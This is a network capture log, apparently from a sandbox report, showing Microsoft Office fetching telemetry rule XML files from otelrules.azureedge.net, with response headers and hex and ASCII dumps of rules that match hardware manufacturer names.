2024-11-25 11:07:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:22 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 2eed8dc4-701e-0098-0dc6-3e395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110722Z-178bfbc474bpscmfhC1NYCfc2c000000061g000000001vhz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:22 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:22 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:22 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:22 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: c9502ca5-e01e-0033-0fb4-3e4695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110722Z-178bfbc474bgvl54hC1NYCsfuw00000007b00000000071en x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:22 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49718	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:22 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:22 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:22 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: eed78853-a01e-0070-6be3-3e573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110722Z-15b8b599d88f9wfchC1TEBm2kc000000061g0000000034up x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 11:07:22 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:22 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:22 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:22 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 6b6b0dda-801e-0083-096a-3cf0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110722Z-174c587ffdf7t49mhC1TEB4qbg00000005t00000000081h8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:22 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:24 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:24 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: a6bfa609-001e-00a2-4d66-3bd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110724Z-178bfbc474bwh9gmhC1NYCy3rs00000007g0000000003vvc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:24 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:24 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:24 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 81892826-901e-00ac-7050-3cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110724Z-15b8b599d88m7pn7hC1TEB4axw000000060g0000000001zr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:24 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:24 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:24 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 657d02d2-201e-0033-2f57-3cb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110724Z-178bfbc474bbcwv4hC1NYCypys000000074g000000009tnw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:24 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:24 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:24 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 4860472f-101e-0028-01d0-3e8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110724Z-178bfbc474b7cbwqhC1NYC8z4n000000079g000000005r96 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:24 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:24 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:24 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: da423632-601e-0002-52c6-3ea786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110724Z-178bfbc474b9fdhphC1NYCac0n00000007900000000079p5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:24 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:26 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:26 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 239436ba-d01e-0028-7bd5-3b7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110726Z-15b8b599d88qw29phC1TEB5zag00000005rg00000000fcy2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:26 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49730	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:26 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:26 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 5fd12e2e-e01e-0051-1fc8-3e84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110726Z-178bfbc474bp8mkvhC1NYCzqnn000000074000000000bagd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:26 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:26 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:26 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: aff2abcc-f01e-0003-4547-3c4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110726Z-178bfbc474b9fdhphC1NYCac0n0000000770000000009pqy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:26 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
